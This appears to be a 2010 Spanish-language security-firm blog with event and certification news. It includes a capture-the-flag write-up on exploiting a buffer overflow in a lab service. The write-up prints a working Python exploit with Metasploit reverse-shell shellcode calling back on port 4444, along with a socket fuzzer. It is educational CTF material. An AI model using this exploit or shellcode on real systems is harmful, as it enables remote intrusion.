martes, 14 de septiembre de 2010

Ekoparty 2010

Mañana el equipo de Open-Sec estará viajando a Buenos Aires para la 6ta edición de la conferencia Ekoparty.

Estaremos posteando noticias y fotos por este medio.

Que la sigan rooteando !!!

domingo, 29 de agosto de 2010

Resolución 1er Reto How Strong Is Your Fu 2

Hola.

El 19 de Junio pasado tuvo lugar el segundo "How strong if your Fu", torneo de hacking organizado por los chicos de Offensive Security. Tuve la oportunidad de participar (haciendo team con Hackspy) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)

En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:

- VPN, 5 equipos
- Puertos descubiertos en el primer equipo : 22, 80, 7500
- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln
- Viendo el source, vuln abre el puerto 7500.
- Funcion handle_reply() es vulnerable a buffer overflow.
- A explotar !!!

Todos los ficheros utilizados en este post pueden ser descargados aqui.

Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.


Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).


Al analizar ESP vemos que también estamos en control de este registro.



Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:



EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:


Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!

 int jmp(void){  
 __asm__("jmp %esp");  
 return 0;  

Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.


Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:

   buffer= "A"*268 +  
   "\x03\x87\x04\x08" #JMP ESP  
   + shellcode       #Payload a elegir  



Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :


Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.



Voila!

Happy Hacking

Mvelazco

 ################################  
 #coded by mvelazco  
 #http://ehopen-sec.blogspot.com/  
 #mvelazco at open-sec.com  
 ################################  
 import socket  
 import struct  
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 print "\nSending buffer..."  
 s.connect(('127.0.0.1',7500))  
 # Reverse shell port 4444 by metasploit  
 shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"  
 "\x5b\x5e\x68\xc0\xa8\x28\x69\x66\x68\x11\x5c\x66\x53\x6a\x10"  
 "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"  
 "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"  
 "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  
 )  
 buffer="A"*268  
 ret= "\x03\x87\x04\x08"  
 buffer+=ret + "\x90"*0 + shellcode  
 s.send(str(buffer) + '\r\n')  
 s.close()  
 print "EXPLOITATION DONE"  
 print "HAVE A NICE DAY :P"  


 #coded by mvelazco  
 #http://ehopen-sec.blogspot.com/  
 #mvelazco at open-sec.com  
 import socket  
 import time  
 buffer='\x41'*40  
 while len(buffer)<10000:  
   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   try:  
     s.connect(('127.0.0.1',7500))  
     print "fuzzing with "+ str(len(buffer)) + " bytes"  
     s.send(buffer + '\r\n')  
     buffer+='\x41'*50  
     s.close()  
   except:  
     print "Crashed!!"  
     break  

lunes, 23 de agosto de 2010

Seguridad en aplicaciones web bajo OWASP @ ISACA

Gracias a Wikipedia:
OWASP (Open Web Application Security Project) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera.

Ya desde principios de este año, el capítulo peruano de OWASP se estuvo organizando y tuvimos las primeras reuniones. Este martes 24 de Agosto se tendrá la primera presentación de OWASP Perú en la reunión mensual de ISACA. Les dejo los detalles, nos vemos ahi:

Saludos,
MVelazco.

Objetivos:
  • Conocer el marco normativo para el desarrollo e implementación de aplicaciones web seguras.
  • Mostrar algunas técnicas para el diseño, desarrollo e implementación de aplicaciones web seguras.
Expositores de OWASP Lima:
  • John Vargas Pérez, Consultor de Seguridad Informática, Visiontech del Perú.
  • Rolando Antón Huerta, Ingeniero de Soporte, ETEK Internacional.
  • Mauricio Velazco Corrales, Consultor de Seguridad Informática, OpenSec.
  • Ricardo Supo Picón, Chief Technology Officer, LimaSoft Seguridad Informática
Fecha: Martes 24 de agosto, de 7 a 9 pm.
Lugar: Hotel José Antonio, Miraflores
Informes e Inscripciones:
Tel. 225-9342 - eMail: informacion@isaca.org.pe Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  - Contacto administrativo: Srta. Mabel Gil

miércoles, 21 de julio de 2010

OSEH en Tarapoto

Hace unos meses recibí una invitación de la universidad César Vallejo para dictar el curso Open-Sec Ethical Hacker (http://www.open-sec.com/oseh/oseh.html) en la calurosa ciudad Tarapoto.

Terminado el curso se organizó un seminario en donde se conversó de algunos temas de hacking (para variar) y además compartí la exposición con Felipe Gonzáles, un estudiante de la universidad que dió una interesante charla sobre el análisis de malware.

Siempre es interesante encontrar personas inquietadas por estos temas que muchas veces nos quitan el sueño.

Les dejo algunas fotos,


MVelazco.


miércoles, 23 de junio de 2010

Más Certificaciones! Offensive Security Certified Professional = Cesar Cuadra Pacheco

Cada logro personal de un consultor en Open-Sec es recibido con mucho entusiasmo por todos nosotros y al logro reciente de Mauricio Velazco con al certificación de C|EH, hoy (ayer) debemos sumar el logro de Cesar Cuadra al haber obtenido la certificación de OSCP : Offensive Security Certified Professional.

Para los que no conocen esta certificación, es sumamente reconocida en el mundo de los hackers y ha sido creada y es manejada por los mismos creadores de BackTrack.
El examen no es convencional, es un Capture the Flag completo.  A Cesar le tocó entrar a un entorno real y vulnerar la seguridad de servicios para obtener trofeos a partir de ello y asi poder demostrar su capacidad en labores de ethical hacking en un lapso de 24 horas.  Alcanzó el puntaje perfecto de 100 puntos!!!
Definitivamente, Cesar es uno de los mejores hackers éticos que existen en nuestro país.
FELICITACIONES CESAR!!!

viernes, 11 de junio de 2010

Open-Sec Ecuador nombrado ATC de EC Council

Esto constituye un gran logro de Ramiro Pulgar, Gerente General de Open Sec Ecuador toda vez que el tema de entrenamiento y certificacion en Ecuador es tomado con mayor interés y tanto las empresas como las personas invierten en formarse y mantenerse vigentes demostrando sus capacidades con certificaciones internacionales.
Mediante este acuerdo, Open Sec es un ATC exclusivo  en Ecuador y dentro de su territorio de venta y entrenamiento se encuentra también Perú.
Pronto más novedades concretas como próximas fechas y MEJORES precios.
http://www.concepti.com/centros-autorizados/23/open-sec-ecuador

lunes, 10 de mayo de 2010

Peruvians at Offsec !!

Hace ya unas semanas la gente de Offensive Security publicó información sobre un torneo de hacking bastante interesante. El torneo fue llevado a cabo desde el sábado 8 de mayo hasta hoy. Básicamente consistió en 2 fases. La primera, como la llamaron ellos, el n00b filter, que consistía ownear un equipo y luego buscar un fichero en el sistema de archivos y utilizar esa llave.
Tan sólo los 100 primeros en pasar la fase 1 podían recibir el certificado para conectarse a la VPN y jugar la fase 2 en donde encuentras varios otros equipos y la idea es to get root.

Con el estudio, el dia de la madre y la chamba no hubo mucho tiempo para jugar, sin embargo llegamos (CCuadra,WCuestas y yo) a pasar la fase 1, obteniendo así 25 puntos.
Además, me es grato saber que otro peruano, Andrés Morales logró ownear algunos equipos de la vpn logrando obtener 75 puntos.
Peruvians in the scoreboard!!



La fase 1 consistía en explotar una vulnerabilidad de un WAF conocido que permite la ejecución de comandos remota. Aquí dejo algunos screenshots del exploit que escribi para superar el reto. He omitido alguna info dado que aun no hay un pronunciamiento oficial por parte de Offsec sobre la solución del reto.



Saludos

MVelazco